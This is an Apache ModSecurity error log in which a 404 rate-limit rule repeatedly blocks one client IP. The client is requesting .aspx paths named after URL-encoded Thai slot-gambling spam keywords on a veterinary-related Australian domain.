[Tue Jan 27 18:14:20.472504 2026] [:error] [pid 48412:tid 48430] [client 217.182.195.179:50766] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%209%20%E0%B8%9A%E0%B8%B2%E0%B8%97%20%E0%B9%84%E0%B8%94%E0%B9%89%20100%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXiP_HbJMfAKlln88JHe1AAAAVA"]
[Tue Jan 27 18:14:23.270617 2026] [:error] [pid 7561:tid 7581] [client 217.182.195.179:50776] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiP_7XGI6mgvHQqkXzK7QAAANE"]
[Tue Jan 27 18:14:25.995713 2026] [:error] [pid 48631:tid 48642] [client 217.182.195.179:50788] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXiQASN5eesHzEogX0wycwAAAkk"]
[Tue Jan 27 18:14:28.707795 2026] [:error] [pid 48446:tid 48478] [client 217.182.195.179:50798] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXiQBMDRSaZ8F8aaLxmGjgAAAcE"]
[Tue Jan 27 18:14:31.328353 2026] [:error] [pid 7454:tid 7516] [client 217.182.195.179:46000] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20168.aspx"] [unique_id "aXiQB5ltCoZEfMmfl8AOpgAAAIA"]
[Tue Jan 27 18:14:33.917926 2026] [:error] [pid 41780:tid 41800] [client 217.182.195.179:46008] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20k9win.aspx"] [unique_id "aXiQCVvu-XLQ0TaZ4FECAgAAARI"]
[Tue Jan 27 18:14:36.745370 2026] [:error] [pid 48445:tid 48465] [client 217.182.195.179:46018] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXiQDBFh_QNUhZ0HkzfLGQAAAZA"]
[Tue Jan 27 18:14:39.387884 2026] [:error] [pid 48662:tid 48683] [client 217.182.195.179:49810] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXiQD-D8iESUP9uRiRPk_AAAAo8"]
[Tue Jan 27 18:15:22.816705 2026] [:error] [pid 48446:tid 48491] [client 217.182.195.179:49824] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXiQOsDRSaZ8F8aaLxmG2AAAAc0"]
[Tue Jan 27 18:15:25.358407 2026] [:error] [pid 48528:tid 48544] [client 217.182.195.179:53320] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXiQPQOGRrquT9N7CZpnNwAAAg4"]
[Tue Jan 27 18:15:27.874754 2026] [:error] [pid 7561:tid 7569] [client 217.182.195.179:53328] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9520%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXiQP7XGI6mgvHQqkXzLJAAAAMU"]
[Tue Jan 27 18:15:30.392617 2026] [:error] [pid 48446:tid 48485] [client 217.182.195.179:49104] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95369.aspx"] [unique_id "aXiQQsDRSaZ8F8aaLxmG4gAAAcg"]
[Tue Jan 27 18:15:32.914379 2026] [:error] [pid 48528:tid 48554] [client 217.182.195.179:49106] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95555.aspx"] [unique_id "aXiQRAOGRrquT9N7CZpnPQAAAhg"]
[Tue Jan 27 18:15:35.427470 2026] [:error] [pid 48412:tid 48421] [client 217.182.195.179:49118] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95678.aspx"] [unique_id "aXiQR3bJMfAKlln88JHfcAAAAUc"]
[Tue Jan 27 18:15:37.828515 2026] [:error] [pid 48412:tid 48423] [client 217.182.195.179:49124] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9569.aspx"] [unique_id "aXiQSXbJMfAKlln88JHfcgAAAUk"]
[Tue Jan 27 18:15:40.347419 2026] [:error] [pid 7454:tid 7536] [client 217.182.195.179:37660] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95777%20pg.aspx"] [unique_id "aXiQTJltCoZEfMmfl8APAwAAAJQ"]
[Tue Jan 27 18:15:42.744876 2026] [:error] [pid 7561:tid 7577] [client 217.182.195.179:37676] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95777%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXiQTrXGI6mgvHQqkXzLWwAAAM0"]
[Tue Jan 27 18:15:45.294307 2026] [:error] [pid 48528:tid 48543] [client 217.182.195.179:37692] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95789.aspx"] [unique_id "aXiQUQOGRrquT9N7CZpnUAAAAg0"]
[Tue Jan 27 18:15:47.815701 2026] [:error] [pid 48445:tid 48461] [client 217.182.195.179:37706] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9588.aspx"] [unique_id "aXiQUxFh_QNUhZ0HkzfLlwAAAYw"]
[Tue Jan 27 18:15:50.201565 2026] [:error] [pid 7453:tid 7513] [client 217.182.195.179:55322] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%20pg.aspx"] [unique_id "aXiQVhfsyA2ws_ADquiIAQAAAFg"]
[Tue Jan 27 18:15:52.696908 2026] [:error] [pid 48662:tid 48670] [client 217.182.195.179:55334] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXiQWOD8iESUP9uRiRPlPwAAAoI"]
[Tue Jan 27 18:15:55.179893 2026] [:error] [pid 7561:tid 7579] [client 217.182.195.179:55344] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXiQW7XGI6mgvHQqkXzLZwAAAM8"]
[Tue Jan 27 18:15:57.548994 2026] [:error] [pid 41780:tid 41805] [client 217.182.195.179:55350] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXiQXVvu-XLQ0TaZ4FECWgAAARc"]
[Tue Jan 27 18:16:00.022878 2026] [:error] [pid 7453:tid 7491] [client 217.182.195.179:59838] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95joker.aspx"] [unique_id "aXiQYBfsyA2ws_ADquiIGwAAAEI"]
[Tue Jan 27 18:16:02.664929 2026] [:error] [pid 48446:tid 48492] [client 217.182.195.179:59846] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95joker123.aspx"] [unique_id "aXiQYsDRSaZ8F8aaLxmHIgAAAc4"]
[Tue Jan 27 18:16:05.026491 2026] [:error] [pid 48528:tid 48536] [client 217.182.195.179:59854] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95noname%20888.aspx"] [unique_id "aXiQZQOGRrquT9N7CZpnXwAAAgY"]
[Tue Jan 27 18:16:07.560409 2026] [:error] [pid 7561:tid 7586] [client 217.182.195.179:59860] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXiQZ7XGI6mgvHQqkXzLdwAAANY"]
[Tue Jan 27 18:16:10.086058 2026] [:error] [pid 41780:tid 41786] [client 217.182.195.179:54368] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXiQalvu-XLQ0TaZ4FECZgAAAQQ"]
[Tue Jan 27 18:16:12.592706 2026] [:error] [pid 48631:tid 48655] [client 217.182.195.179:54382] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXiQbCN5eesHzEogX0wyxAAAAlY"]
[Tue Jan 27 18:16:15.092794 2026] [:error] [pid 41780:tid 41789] [client 217.182.195.179:54398] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo.aspx"] [unique_id "aXiQb1vu-XLQ0TaZ4FECagAAAQc"]
[Tue Jan 27 18:16:17.469999 2026] [:error] [pid 7454:tid 7528] [client 217.182.195.179:54402] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo168.aspx"] [unique_id "aXiQcZltCoZEfMmfl8APMQAAAIw"]
[Tue Jan 27 18:17:03.913170 2026] [:error] [pid 48446:tid 48496] [client 217.182.195.179:53078] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXiQn8DRSaZ8F8aaLxmHiAAAAdI"]
[Tue Jan 27 18:17:06.465513 2026] [:error] [pid 38987:tid 39008] [client 217.182.195.179:57244] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXiQoqTH0bU76Ifu_Xcd8gAAABI"]
[Tue Jan 27 18:17:09.107439 2026] [:error] [pid 7453:tid 7505] [client 217.182.195.179:55414] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXiQpRfsyA2ws_ADquiIiwAAAFA"]
[Tue Jan 27 18:17:11.597941 2026] [:error] [pid 39017:tid 39066] [client 217.182.195.179:55422] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95777.aspx"] [unique_id "aXiQp8553xt-F_10bG6RrgAAAxI"]
[Tue Jan 27 18:17:14.225478 2026] [:error] [pid 7561:tid 7582] [client 217.182.195.179:55432] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9Ajoker888.aspx"] [unique_id "aXiQqrXGI6mgvHQqkXzL1QAAANI"]
[Tue Jan 27 18:17:16.687775 2026] [:error] [pid 39016:tid 39043] [client 217.182.195.179:55444] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXiQrPB6_y9crthwy8qbbQAAAtY"]
[Tue Jan 27 18:17:19.189340 2026] [:error] [pid 7454:tid 7533] [client 217.182.195.179:51766] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%81%E0%B8%84%E0%B9%88%20%E0%B9%83%E0%B8%AA%E0%B9%88%20%E0%B9%82%E0%B8%84%E0%B9%8A%E0%B8%94%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiQr5ltCoZEfMmfl8APdgAAAJE"]
[Tue Jan 27 18:17:21.804001 2026] [:error] [pid 48528:tid 48553] [client 217.182.195.179:51776] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%202022.aspx"] [unique_id "aXiQsQOGRrquT9N7CZpnnwAAAhc"]
[Tue Jan 27 18:17:24.290384 2026] [:error] [pid 39017:tid 39063] [client 217.182.195.179:51778] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%202023.aspx"] [unique_id "aXiQtM553xt-F_10bG6RtgAAAw8"]
